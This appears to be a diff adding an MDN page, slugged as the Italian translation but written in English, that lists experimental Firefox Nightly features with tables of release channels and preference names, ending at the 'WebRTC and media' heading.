+slug: Mozilla/Firefox/Funzionalità_sperimentali
+translation_of: Mozilla/Firefox/Experimental_features
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary">In order to test new features, Mozilla publishes a test version of the Firefox browser, <a href="https://nightly.mozilla.org/">Firefox Nightly</a>, every day. These nightly builds of Firefox typically include experimental or partially-implemented features, including those for proposed or cutting-edge Web platform standards.</p>
+
+<p class="summary"><span class="seoSummary">This page lists features that are in Nightly versions of Firefox along with information on how to activate them, if necessary.</span> You can test your Web sites and applications before these features get released and ensure everything will still work with the latest Web technology capabilities.</p>
+
+<p>To test these experimental features, you need to download <a href="https://nightly.mozilla.org/">Firefox Nightly</a> or <a href="https://www.mozilla.org/en-US/firefox/developer/">Firefox Developer Edition</a>. Which you need is described alongside each feature's description below.</p>
+
+<div class="blockIndicator note">
+<p><strong>Editor's note:</strong> When adding features to these tables, please try to include a link to the relevant bug or bugs using the {{TemplateLink("bug")}} macro: <code>\{{bug(<em>bug-number</em>)}}</code>.</p>
+</div>
+
+<h2 id="HTML">HTML</h2>
+
+<h3 id="Element_&lt;dialog>">Element: &lt;dialog&gt;</h3>
+
+<p>The HTML {{HTMLElement("dialog")}} element and its associated DOM APIs provide support for HTML-based modal dialog boxes. The current implementation is a little inelegant but is basically functional. See {{bug(840640)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>53</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>53</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>53</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>53</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.dialog_element.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Global_attribute_inputmode">Global attribute: inputmode</h3>
+
+<p>Our implementation of the <code><a href="/en-US/docs/Web/HTML/Global_attributes/inputmode">inputmode</a></code> global attribute has been updated as per the WHATWG spec ({{bug(1509527)}}), but we still need to make other changes too, like making it available on contenteditable content. See also {{bug(1205133)}} for details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>75</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.forms.inputmode</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="&lt;link_relpreload>">&lt;link rel="preload"&gt;</h3>
+
+<p>The {{HTMLElement("link")}} element's {{htmlattrxref("rel", "link")}} attribute is intended to help provide performance gains by letting you download resources earlier in the page lifecycle, ensuring that they're available earlier and are less likely to block page rendering. Read <a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with rel="preload"</a> for more details. For more details on the status of this feature, see {{bug(1639607)}}.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>78</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>78</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>78</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>78</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>network.preload</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="CSS">CSS</h2>
+
+<h3 id="Display_stray_control_characters_in_CSS_as_hex_boxes">Display stray control characters in CSS as hex boxes</h3>
+
+<p>This feature renders control characters (Unicode category Cc) other than <em>tab</em> (<code>U+0009</code>), <em>line feed</em> (<code>U+000A</code>), <em>form feed</em> (<code>U+000C</code>), and <em>carriage return</em> (<code>U+000D</code>) as a hexbox when they are not expected.<br>
+ <br>
+ See {{bug(1099557)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>43</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>43</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>43</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>43</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.control-characters.enabled</code> or <code>layout.css.control-characters.visible</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Property_initial-letter">Property: initial-letter</h3>
+
+<p>The {{cssxref("initial-letter")}} CSS property is part of the {{SpecName("CSS3 Inline")}} specification and allows you to specify how dropped, raised, and sunken initial letters are displayed.<br>
+ <br>
+ See {{bug(1223880)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>50</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>50</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>50</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>50</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.initial-letter.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Conic_gradients">Conic gradients</h3>
+
+<p><a href="/en-US/docs/Web/CSS/gradient#Conic_gradient">Conic gradients</a> expand CSS gradients to allow the color transitions to be rendered circling around a center point rather than radiating from it. See {{bug(1175958)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.conic-gradient.enabled</code> and <code>gfx.webrender.all</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Pseudo-class_focus-visible">Pseudo-class: :focus-visible</h3>
+
+<p>Allows focus styles to be applied to elements like buttons and form controls, only when they are focused using the keyboard (e.g. when tabbing between elements), and not when they are focused using a mouse or other pointing device. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1617600">bug 1617600</a> for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>75</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.focus-visible.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Single_numbers_as_aspect_ratio_in_media_queries">Single numbers as aspect ratio in media queries</h3>
+
+<p>Support for using a single {{cssxref("number")}} as a {{cssxref("ratio")}} when specifying the aspect ratio for a <a href="/en-US/docs/Web/CSS/Media_Queries">media query</a>. See {{bug(1565562)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>70</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>70</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>70</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>70</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.aspect-ratio-number.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Property_backdrop-filter">Property: backdrop-filter</h3>
+
+<p>The {{cssxref("backdrop-filter")}} property applies filter effects to the area behind an element. See {{bug(1178765)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>70</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>70</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>70</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>70</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.backdrop-filter.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Grid_Masonry_layout">Grid: Masonry layout</h3>
+
+<p>Adds support for a masonry style layout based on grid layout where one axis has a masonry layout while having normal grid layout on the other. This allows to create gallery style layouts like on Pinterest. See {{bug(1607954)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>77</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.grid-template-masonry-value.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="APIs">APIs</h2>
+
+<h3 id="Graphics_Canvas_WebGL_and_WebGPU">Graphics: Canvas, WebGL, and WebGPU</h3>
+
+<h4 id="Interface_OffscreenCanvas">Interface: OffscreenCanvas</h4>
+
+<p>The {{domxref("OffscreenCanvas")}} interface provides a canvas that can be rendered offscreen. It is available in both the window and <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> contexts. See {{bug(1390089)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>44</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>44</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>44</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>44</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>gfx.offscreencanvas.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Hit_regions">Hit regions</h4>
+
+<p>Whether the mouse coordinates are within a particular area on the canvas is a common problem to solve. The hit region API allows you define an area of your canvas and provides another possibility to expose interactive content on a canvas to accessibility tools.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>30</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>30</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>30</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>30</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>canvas.hitregions.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="WebGL_Draft_extensions">WebGL: Draft extensions</h4>
+
+<p>When this preference is enabled, any WebGL extensions currently in "draft" status which are being tested are enabled for use. Currently, there are no WebGL extensions being tested by Firefox.</p>
+
+<h4 id="WebGPU_API">WebGPU API</h4>
+
+<p>This new API provides low-level support for performing computation and graphics rendering using the {{interwiki("wikipedia", "Graphics Processing Unit")}} (GPU) of the user's device or computer. The <a href="https://gpuweb.github.io/gpuweb/">specification</a> is still a work-in-progress. See {{bug(1602129)}} for our progress on this API.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>73</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>73</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>73</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>73</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.webgpu.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="HTML_DOM_API">HTML DOM API</h3>
+
+<h4 id="Global_event_beforeinput">Global event: beforeinput</h4>
+
+<p>The global {{domxref("HTMLElement.beforeinput_event", "beforeinput")}} event is sent to an {{HTMLElement("input")}} element—or any element whose {{htmlattrxref("contenteditable")}} attribute is enabled—immediately before the element's value changes.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>74</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>74</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>74</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>74</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.input_events.beforeinput.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="HTMLMediaElement_method_setInkId">HTMLMediaElement method: setInkId()</h4>
+
+<p>{{domxref("HTMLMediaElement.setSinkId()")}} allows you to set the sink ID of an audio output device on an {{domxref("HTMLMediaElement")}}, thereby changing where the audio is being output. See {{bug(934425)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>64</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>64</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>64</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>64</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>media.setsinkid.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="HTMLMediaElement_properties_audioTracks_and_videoTracks">HTMLMediaElement properties: audioTracks and videoTracks</h4>
+
+<p>Enabling this feature adds the {{domxref("HTMLMediaElement.audioTracks")}} and {{domxref("HTMLMediaElement.videoTracks")}} properties to all HTML media elements. However, because Firefox doesn't currently suport multiple audio and video tracks, the most common use cases for these properties don't work, so they're both disabled by default. See {{bug(1057233)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>33</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>33</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>33</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>33</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>media.track.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="DOM">DOM</h3>
+
+<h4 id="Document_property_autoplayPolicy">Document property: autoplayPolicy</h4>
+
+<p>The {{domxref("document")}} property {{domxref("Document.autoplayPolicy", "autoplayPolicy")}} returns a string indicating how the browser handles requests to automatically play media (either using the {{domxref("HTMLMediaElement.autoplay", "autoplay")}} property on a media element or by attempting to trigger playback from JavaScript code. The spec for this API is still being written. The value changes over time depending on what the user is doing, their preferences, and the state of the browser in general. Potential values include <code>allowed</code> (autoplay is currently permitted), <code>allowed-muted</code> (autoplay is allowed but only with no—or muted—audio), and <code>disallowed</code> (autoplay is not allowed at this time). See {{bug(1506289)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>66</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>66</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>66</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>66</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.media.autoplay.autoplay-policy-api</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="GeometryUtils_methods_convertPointFromNode_convertRectFromNode_and_convertQuadFromNode">GeometryUtils methods: convertPointFromNode(), convertRectFromNode(), and convertQuadFromNode()</h4>
+
+<p>The {{domxref("GeometryUtils")}} methods {{domxref("GeometryUtils.convertPointFromNode", "convertPointFromNode()")}}, {{domxref("GeometryUtils.convertRectFromNode", "convertRectFromNode()")}}, and {{domxref("GeometryUtils.convertQuadFromNode", "convertQuadFromNode()")}} map the given point, rectangle, or quadruple from the {{domxref("Node")}} on which they're called to another node. See {{bug(918189)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>31</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>31</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>31</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>31</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.getBoxQuads.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="GeometryUtils_method_getBoxQuads">GeometryUtils method: getBoxQuads()</h4>
+
+<p>The {{domxref("GeometryUtils")}} method {{domxref("GeometryUtils.getBoxQuads", "getBoxQuads()")}} returns the CSS boxes for a {{domxref("Node")}} relative to any other node or viewport. See {{bug(917755)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>31</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>31</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>31</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>31</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.convertFromNode.enable</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Payment_Request_API">Payment Request API</h3>
+
+<h4 id="Primary_payment_handling">Primary payment handling</h4>
+
+<p>The <a href="/en-US/docs/Web/API/Payment_Request_API">Payment Request API</a> provides support for handling web-based payments within web content or apps. Due to a bug that came up during testing of the user interface, we have decided to postpone shipping this API while discussions over potential changes to the API are held. Work is ongoing. See {{bug(1318984)}} for more details on the state of this API.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>55</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>55</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>55</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>55</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.payments.request.enabled</code> and<br>
+    <code>dom.payments.request.supportedRegions</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Basic_Card_API">Basic Card API</h4>
+
+<p>Extends the <a href="/en-US/docs/Web/API/Payment_Request_API">Payment Request API</a> with dictionaries that define data structures describing card payment types and payment responses. See {{domxref("BasicCardRequest")}} and {{domxref("BasicCardResponse")}}.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>56</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>56</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>56</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>56</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.payments.request.enabled</code> and<br>
+    <code>dom.payments.request.supportedRegions</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Visual_Viewport_API">Visual Viewport API</h3>
+
+<p>The <a href="/en-US/docs/Web/API/Visual_Viewport_API">Visual Viewport API</a> provides access to information describing the position of the {{Glossary("visual viewport")}} relative to the document as well as to the window's content area. It also supports events to monitor changes to this information. See {{bug(1550390)}} for more details. There currently is no real plan to ship this on desktop, but you can track the state of that just in case it changes in {{bug(1551302)}}.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>63</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>63</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>63</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>63</td>
+   <td>Starting in Firefox 68, on Android only</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>dom.visualviewport.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Constructable_stylesheets">Constructable stylesheets</h3>
+
+<p>The addition of a constructor to the {{domxref("CSSStyleSheet")}} interface as well as a variety of related changes makes it possible to directly create new stylesheets without having to add the sheet to the HTML. This makes it much easier to create reusable stylesheets for use with <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>. Our implementation is not yet complete; see {{bug(1520690)}} for more details.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">Release channel</th>
+   <th scope="col" style="vertical-align: bottom;">Version added</th>
+   <th scope="col" style="vertical-align: bottom;">Enabled by default?</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Nightly</th>
+   <td>73</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Developer Edition</th>
+   <td>73</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Beta</th>
+   <td>73</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Release</th>
+   <td>73</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Preference name</th>
+   <th colspan="2"><code>layout.css.constructable-stylesheets.enabled</code></th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="WebRTC_and_media">WebRTC and media</h3>
+
